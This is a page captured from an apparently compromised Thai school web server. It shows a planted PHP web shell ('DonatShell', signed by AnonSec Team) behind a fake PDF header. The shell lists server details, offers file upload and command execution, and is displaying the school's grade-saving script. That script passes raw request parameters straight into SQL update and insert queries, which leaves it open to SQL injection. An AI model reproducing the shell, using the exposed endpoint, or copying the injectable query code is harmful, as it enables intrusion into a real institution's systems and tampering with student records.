%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : www.kowitt.ac.th  /  Your IP : 216.73.216.118
Web Server : Microsoft-IIS/7.5
System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586
User : IUSR ( 0)
PHP Version : 5.6.31
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/mis/teacher/subject_score_v2/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/inetpub/wwwroot/mis/teacher/subject_score_v2/SaveScore_CAP.php
<?PHP
include("conf.php");
$Modify =  $_SESSION["IDTeacher"] . "@" . date("Ymd#h:i:s");
$tmpTerm = $_GET["Term"];
 
$sql = "select IDStudent from TScore where RegYear='" . $_SESSION["AYear"] . "' and (RegTerm='" . $tmpTerm . "' or RegTerm='_') and PSubjectCode='" . iconv("utf-8", "tis-620", $_GET['PSubjectCode']) . "' and IDStudent='" . $_GET['IDStudent'] . "' and IDTeacher='" . $IDTeacher . "'";
// if($_SESSION["IDTeacher"]=="725") {
//     echo $sql;
//     exit();
// }
$stmt = sqlsrv_query($conn, $sql);
$isHas = 0;

while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) {
    $isHas = 1;
    break;
}
if ($isHas == 0) {
    //echo $sql;
    echo "ท่านไม่มีสิทธิ์ในการบันทึกคะแนนนี้";
    exit();
}
$tmpTerm = $_GET['Term'];
// if ($_SESSION["AYear"] == "2566" && $tmpTerm == "_") {
//     $sql = "delete from TBStudentCapacity   where RegYear='" . $_SESSION["AYear"] . "'  and PSubjectCode='" . iconv("utf-8", "tis-620", $_GET['PSubjectCode']) . "' and IDStudent='" . $_GET['IDStudent'] . "'";
//     $query = sqlsrv_query($conn, $sql);
// }
$sql = "select * from TBStudentCapacity   where RegYear='" . $_SESSION["AYear"] . "' and RegTerm='" . $tmpTerm . "' and PSubjectCode='" . iconv("utf-8", "tis-620", $_GET['PSubjectCode']) . "' and IDStudent='" . $_GET['IDStudent'] . "'";
//echo $sql; exit();
$params = array();
$options =  array("Scrollable" => SQLSRV_CURSOR_KEYSET);
$stmt = sqlsrv_query($conn, $sql, $params, $options);
$row_count = sqlsrv_num_rows($stmt);
$modify = $_SESSION["Online_user"] . "#" . date("Y-m-d H:i:s");
if ($row_count > 0)
    $sql = "update TBStudentCapacity set ScoreRange1=" . $_GET['Score1'] . ",ScoreRange2=" . $_GET['Score2'] . ",ScoreRange3=" . $_GET['Score3'] . ",ScoreRange4=" . $_GET['Score4'] . ",ScoreRange5=" . $_GET['Score5'] . ",Modify='" . $modify . "',PClass='". iconv("utf-8", "tis-620", $_GET['PClass']) ."',PRoom='".$_GET['PRoom']."' where RegYear='" . $_SESSION["AYear"] . "' and RegTerm='" . $tmpTerm . "' and PSubjectCode='" . iconv("utf-8", "tis-620", $_GET['PSubjectCode']) . "' and IDStudent='" . $_GET['IDStudent'] . "'";
else
    $sql = "insert into TBStudentCapacity (RegYear,RegTerm,PSubjectCode,IDStudent,ScoreRange1,ScoreRange2,ScoreRange3,ScoreRange4,ScoreRange5,Modify,PClass,PRoom) values('" . $_SESSION["AYear"] . "','" . $tmpTerm . "','" . iconv("utf-8", "tis-620", $_GET['PSubjectCode']) . "','" . $_GET['IDStudent'] . "','" . $_GET['Score1'] . "','" . $_GET['Score2'] . "','" . $_GET['Score3'] . "','" . $_GET['Score4'] . "','" . $_GET['Score5'] . "','" . $modify . "','". iconv("utf-8", "tis-620", $_GET['PClass']) ."','".$_GET['PRoom']."')";
// echo $sql; exit();
// if ($_SESSION['IDTeacher'] == "804") {
//     print_r($_GET);
//     echo $sql;
//     exit();
// }
$stmt = sqlsrv_query($conn, $sql);
//echo $sql."<BR>";
if ($stmt === false) {
    die(print_r(sqlsrv_errors(), true));
} else {
    //echo $_GET["Last"];
    if ($_GET["Last"] == "1")
        echo "<font color='#009966'>บันทึกคะแนน เสร็จสมบูรณ์</font>";
    else
        echo "<font color='#009966'>กำลังบันทึกคะแนน  รหัสนักเรียน : " . $_GET['IDStudent'] . " เสร็จสมบูรณ์</font>";
}
echo "<BR><BR>";
$percent = ($_GET['Run'] + 1) * 100 / $_GET['Max'];
?>
<div class="progress">
    <div class="progress-bar" role="progressbar" aria-valuenow="<?PHP echo $percent; ?>" aria-valuemin="0" aria-valuemax="100" style="width:<?PHP echo $percent; ?>%">
        <?PHP echo number_format($percent, 2); ?>%
    </div>
</div>

Anon7 - 2022
AnonSec Team